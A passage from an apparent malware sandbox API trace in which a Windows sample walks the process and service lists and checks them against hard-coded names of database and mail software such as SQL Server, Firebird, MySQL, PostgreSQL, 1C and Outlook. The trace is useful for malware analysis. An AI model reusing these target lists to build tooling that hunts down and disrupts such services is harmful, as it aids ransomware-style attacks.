cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0245.364] lstrlenW (lpString="taskhost.exe") returned 12 [0245.364] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.365] lstrlenW (lpString="svchost.exe") returned 11 [0245.365] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0245.365] lstrlenW (lpString="uyuquk.exe") returned 10 [0245.365] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0245.365] lstrlenW (lpString="reader_sl.exe") returned 13 [0245.365] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.366] lstrlenW (lpString="dllhost.exe") returned 11 [0245.366] Process32NextW (in: hSnapshot=0x37c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0245.366] CloseHandle (hObject=0x37c) returned 1 [0245.366] Sleep (dwMilliseconds=0x1f4) [0246.359] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb20 [0246.460] EnumServicesStatusExW (in: hSCManager=0x42aeb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0246.464] GetLastError () returned 0xea [0246.464] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcec) returned 0x43493f0 [0246.464] EnumServicesStatusExW (in: hSCManager=0x42aeb20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43493f0, cbBufSize=0xcec, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43493f0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0246.465] CloseServiceHandle (hSCObject=0x42aeb20) returned 1 [0246.471] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0246.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.471] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0246.471] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0246.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0246.471] lstrlenW (lpString="AudioSrv") returned 8 [0246.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0246.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0246.471] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0246.471] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0246.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0246.471] lstrlenW (lpString="BFE") returned 3 [0246.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0246.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0246.471] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0246.471] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0246.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0246.471] lstrlenW (lpString="CryptSvc") returned 8 [0246.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0246.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0246.471] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0246.471] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0246.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0246.471] lstrlenW (lpString="CscService") returned 10 [0246.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0246.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0246.471] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0246.471] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0246.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0246.471] lstrlenW (lpString="DcomLaunch") returned 10 [0246.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.471] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0246.472] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0246.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0246.472] lstrlenW (lpString="Dhcp") returned 4 [0246.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0246.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0246.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0246.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0246.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0246.472] lstrlenW (lpString="Dnscache") returned 8 [0246.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0246.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0246.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0246.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0246.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0246.472] lstrlenW (lpString="DPS") returned 3 [0246.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0246.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0246.472] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0246.472] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0246.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0246.472] lstrlenW (lpString="eventlog") returned 8 [0246.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0246.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0246.473] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0246.473] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0246.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0246.473] lstrlenW (lpString="EventSystem") returned 11 [0246.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0246.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0246.473] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0246.473] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0246.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0246.473] lstrlenW (lpString="gpsvc") returned 5 [0246.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0246.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0246.473] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0246.473] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0246.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0246.473] lstrlenW (lpString="LanmanWorkstation") returned 17 [0246.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.473] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0246.473] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0246.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0246.473] lstrlenW (lpString="lmhosts") returned 7 [0246.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0246.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0246.473] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0246.473] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0246.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0246.473] lstrlenW (lpString="MMCSS") returned 5 [0246.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0246.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0246.473] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0246.473] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0246.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0246.474] lstrlenW (lpString="MpsSvc") returned 6 [0246.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0246.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0246.474] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0246.474] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0246.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0246.474] lstrlenW (lpString="NlaSvc") returned 6 [0246.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0246.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0246.474] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0246.474] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0246.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0246.474] lstrlenW (lpString="nsi") returned 3 [0246.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0246.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0246.474] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0246.474] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0246.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0246.474] lstrlenW (lpString="PcaSvc") returned 6 [0246.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0246.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0246.474] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0246.474] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0246.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0246.474] lstrlenW (lpString="PlugPlay") returned 8 [0246.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0246.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0246.474] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0246.474] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0246.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0246.474] lstrlenW (lpString="Power") returned 5 [0246.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0246.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0246.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0246.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0246.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0246.475] lstrlenW (lpString="ProfSvc") returned 7 [0246.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0246.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0246.475] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0246.475] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0246.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0246.475] lstrlenW (lpString="RpcEptMapper") returned 12 [0246.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0246.475] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0246.475] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0246.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0246.475] lstrlenW (lpString="RpcSs") returned 5 [0246.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0246.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0246.475] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0246.475] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0246.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0246.475] lstrlenW (lpString="SamSs") returned 5 [0246.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0246.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0246.475] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0246.475] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0246.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0246.475] lstrlenW (lpString="Schedule") returned 8 [0246.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0246.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0246.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0246.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0246.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0246.476] lstrlenW (lpString="SENS") returned 4 [0246.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0246.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0246.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0246.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0246.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0246.476] lstrlenW (lpString="ShellHWDetection") returned 16 [0246.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0246.476] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0246.476] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0246.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0246.476] lstrlenW (lpString="Spooler") returned 7 [0246.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0246.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0246.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0246.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0246.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0246.476] lstrlenW (lpString="SysMain") returned 7 [0246.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0246.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0246.476] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0246.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0246.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0246.476] lstrlenW (lpString="Themes") returned 6 [0246.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0246.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0246.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0246.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0246.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0246.476] lstrlenW (lpString="UxSms") returned 5 [0246.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0246.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0246.477] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0246.477] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0246.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0246.477] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x43493f0 | out: hHeap=0x530000) returned 1 [0246.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0246.478] Process32FirstW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.479] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.479] lstrlenW (lpString="System") returned 6 [0246.479] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0246.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0246.479] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0246.479] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0246.479] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0246.479] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0246.479] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0246.479] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.480] lstrlenW (lpString="smss.exe") returned 8 [0246.480] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0246.480] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.480] lstrlenW (lpString="csrss.exe") returned 9 [0246.480] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0246.480] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0246.480] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0246.480] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0246.480] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0246.480] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0246.480] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.481] lstrlenW (lpString="wininit.exe") returned 11 [0246.481] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0246.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0246.481] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0246.481] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0246.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0246.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0246.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0246.481] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.481] lstrlenW (lpString="csrss.exe") returned 9 [0246.481] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0246.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0246.481] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0246.481] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0246.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0246.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0246.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0246.481] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.482] lstrlenW (lpString="winlogon.exe") returned 12 [0246.482] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0246.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0246.482] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0246.482] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0246.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0246.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0246.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0246.482] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.482] lstrlenW (lpString="services.exe") returned 12 [0246.483] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0246.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0246.483] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0246.483] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0246.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0246.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0246.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0246.483] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.483] lstrlenW (lpString="lsass.exe") returned 9 [0246.483] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0246.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0246.483] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0246.483] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0246.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0246.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0246.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0246.483] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0246.483] lstrlenW (lpString="lsm.exe") returned 7 [0246.484] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0246.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0246.484] lstrcmpiW 